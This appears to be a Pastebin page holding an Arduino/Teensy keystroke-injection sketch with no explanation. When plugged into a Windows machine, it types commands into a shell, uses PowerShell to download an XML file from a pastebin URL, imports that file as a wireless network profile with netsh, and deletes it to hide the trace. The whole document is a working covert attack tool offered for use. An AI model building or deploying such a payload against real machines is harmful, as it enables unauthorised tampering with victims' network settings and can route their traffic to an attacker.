Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void setup() {
- delay(5000);
- run_command();
- delay(500);
- Keyboard.print("cmd.exe");
- enter_key();
- delay(500);
- Keyboard.print("cd %TEMP%");
- enter_key();
- delay(500);
- Keyboard.print("powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\\a.xml')");
- enter_key();
- delay(3000);
- Keyboard.print("netsh wlan add profile filename=");
- Keyboard.write(34);
- Keyboard.print("a.xml");
- Keyboard.write(34);
- Keyboard.print(" interface=");
- Keyboard.write(34);
- Keyboard.print("Wireless Network Connection");
- Keyboard.write(34);
- enter_key();
- delay(500);
- Keyboard.print("del a.xml");
- enter_key();
- delay(500);
- Keyboard.print("exit");
- enter_key();
- }
- void loop() {
- digitalWrite(PIN_D6, LOW); // LED on
- delay(random(1000)); // Slow Blink
- digitalWrite(PIN_D6, HIGH); // LED off
- delay(random(1000));
- }
- void run_command() {
- Keyboard.set_modifier(MODIFIERKEY_GUI);
- delay(500);
- Keyboard.set_key1(KEY_R);
- Keyboard.send_now();
- clear_keyboard();
- }
- void clear_keyboard() {
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- }
- void enter_key() {
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- clear_keyboard();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement